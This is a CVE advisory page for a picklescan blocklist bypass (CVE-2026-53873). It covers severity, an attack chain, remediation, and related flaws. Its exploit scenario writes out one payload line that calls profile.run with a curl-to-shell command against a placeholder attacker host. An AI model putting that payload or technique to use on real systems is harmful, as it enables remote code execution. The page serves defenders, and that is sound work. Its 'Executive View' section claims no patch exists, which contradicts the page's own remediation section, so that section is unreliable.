picklescan
CVE-2026-53873
CRITICAL
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
ReconIdentify pipeline using picklescan <1.0.4
-
DeliveryCraft pickle invoking profile.run with payload
-
ExploitUpload artifact to registry or model hub
-
InstallScanner returns zero issues
-
C2Victim deserializes via pickle.loads
-
Executeexec() runs attacker Python
-
ImpactFull code execution in loader process
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V2 - Validation and Business Logic Input validation completeness
|
| Exploitation Conditions | The target environment must (a) use picklescan at a version below 1.0.4 as a pre-deserialization screening step and (b) subsequently call pickle.loads() (or equivalent) on a file whose contents the attacker controls, such as a third-party model checkpoint or uploaded artifact. No authentication, no user interaction, and no non-default configuration of picklescan itself are required - the vulnerable blocklist is the default. The main practical limiter is that a victim must actually trust picklescan's verdict and proceed to deserialize: pipelines that already refuse all untrusted pickles, or that use a restricted Unpickler allowlist, are not exposed via this bypass. |
| Impact | The supplied CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H) and base score of 9.3 reflect that any system deserializing an attacker-supplied pickle that was previously cleared by picklescan can be fully compromised, which is realistic for ML model hubs, CI scanners, and Hugging Face-style download pipelines. There is no EPSS value supplied and the CVE is not listed in CISA KEV, so this should be treated as a high-severity defense-in-depth bypass rather than confirmed active exploitation. A working PoC is published in the GHSA advisory, which raises practical risk for any downstream tool that trusts picklescan's "0 issues" verdict as a gating control; one caveat is that the network-vector rating assumes the pickle reaches the scanner over the network, which is the dominant use case but not universal. |
| Exploit ScenarioDerived | An attacker uploads a malicious model or data artifact containing a pickle whose payload is profile.run("import os; os.system('curl attacker|sh')") to a repository or registry that uses picklescan <1.0.4 as its pre-deserialization safety gate. The scanner reports zero issues because the global name "run" does not match the blocklist entry "Profile.run", the downstream consumer calls pickle.loads(), and exec() runs the attacker statement in the loader's process. A working PoC is published in the GHSA advisory, lowering the barrier to weaponization. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Jun 17, 2026
Arbitrary code execution bypass in picklescan before 1.0.4 allows attackers to smuggle malicious pickle files past the scanner by invoking the module-level profile.run() function, which is missing from the blocklist that only covers Profile.run and Profile.runctx. The scanner reports zero issues while pickle.loads() triggers exec() of attacker-controlled Python. No public exploit identified at time of analysis beyond the proof-of-concept in the GHSA advisory, and the issue is not listed in CISA KEV.
RemediationAI
Vendor-released patch: upgrade picklescan to 1.0.4 or later, which extends the profile blocklist to also cover the module-level run function (advisory GHSA-7wx9-6375-f5wh). Until the upgrade is rolled out across CI, model-registry scanners, and developer environments, treat scanner output as advisory only and refuse to deserialize untrusted pickle files at all, or wrap loading with a restricted Unpickler.find_class allowlist that rejects the profile module entirely; both controls cost legitimate use of profile-based pickles, which is rare. Where picklescan is embedded as a gate in an ML model ingestion pipeline (for example Hugging Face mirrors or internal registries), pin the resolved dependency to >=1.0.4 and re-scan previously cleared artifacts since prior "clean" verdicts cannot be trusted.
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in pypi
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
picklescan is a Python package (cpe:2.3:a:picklescan:picklescan) used by ML pipelines and model hubs to statically inspect pickle files for dangerous globals before deserialization. The flaw is a CWE-184 (Incomplete List of Disallowed Inputs) defect in scanner.py: the blocklist for the profile module is the set {"Profile.run", "Profile.runctx"}, and the matcher does an exact string membership check (g.name in unsafe_filter) against the pickle global name. Because a pickle referencing profile.run resolves the global name as "run" (not "Profile.run"), the check fails open. The underlying primitive is Python's profile.run(statement), which internally calls exec(statement), turning any tolerated pickle global into a generic code-execution sink.
Know when Picklescan gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Bypass lets attacker-supplied pickle reach pickle.loads via a default-config scanner with no auth or user interaction, yielding full RCE on the loader host (C/I/A:H).
Primary rating from Vendor (VulnCheck).
CVSS VectorVendor: VulnCheck
DescriptionCVE.org
picklescan before 1.0.4 contains an incomplete blocklist for the profile module that fails to block the module-level profile.run() function, allowing attackers to achieve arbitrary code execution via exec(). Attackers can craft malicious pickle files calling profile.run(statement) to execute arbitrary Python code while picklescan reports zero security issues.
Articles & Coverage 1
Executive ViewAI
picklescan, a critical security scanner for Python pickle files, contains a code execution bypass that completely nullifies its protective capability; publicly available exploit code exists in the GHSA advisory. Attackers can craft malicious pickle files that pass validation but execute arbitrary code upon deserialization, exposing any organization using picklescan to validate untrusted data to remote code execution attacks.
No vendor-released patch identified at time of analysis. Interim mitigations: (1) Disable picklescan immediately and implement strict deserialization controls-whitelist approved pickle types and sources, enforce human code review before deserializing pickle data; (2) Isolate systems processing pickle files in restricted execution environments; (3) Use alternative serialization formats (JSON, Protocol Buffers) where feasible; (4) Maintain a register of systems affected during the vulnerability window; (5) Monitor picklescan releases and deploy 1.0.4+ once vendor security validation is confirmed.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.
Affected Products (CPE)CVE.org
More in Picklescan
View allRemote code execution against users of picklescan versions prior to 1.0.4 is achievable by smuggling any blocked functio
An Improper Handling of Exceptional Conditions vulnerability in the ZIP archive scanning component of mmaitre314 pickles
A Protection Mechanism Failure vulnerability in mmaitre314 picklescan versions up to and including 0.0.30 allows a remot
An Improper Input Validation vulnerability in the scanning logic of mmaitre314 picklescan versions up to and including 0
Detection bypass in picklescan prior to 0.0.29 allows attackers to smuggle remote code execution payloads through pickle
Detection bypass in picklescan versions before 0.0.25 allows attackers to embed remote code execution payloads in pickle
Detection bypass in picklescan before 0.0.28 allows attackers to embed malicious torch.jit.unsupported_tensor_ops.execWr
Detection bypass in picklescan before 0.0.28 allows attackers to smuggle arbitrary code through pickle files by abusing
Detection bypass in picklescan before 0.0.29 allows malicious pickle files to evade scanning by abusing the undetected i
Detection bypass in picklescan versions before 0.0.30 allows malicious pickle files to evade security scanning by using
Detection bypass in picklescan versions prior to 0.0.29 allows attackers to smuggle arbitrary code execution payloads th
Detection bypass in picklescan before 0.0.33 allows attackers to smuggle arbitrary code through malicious pickle files b
GHSA-7wx9-6375-f5wh
NVD
CVE.org
EPSS
Vulnrichment
Exploit-DB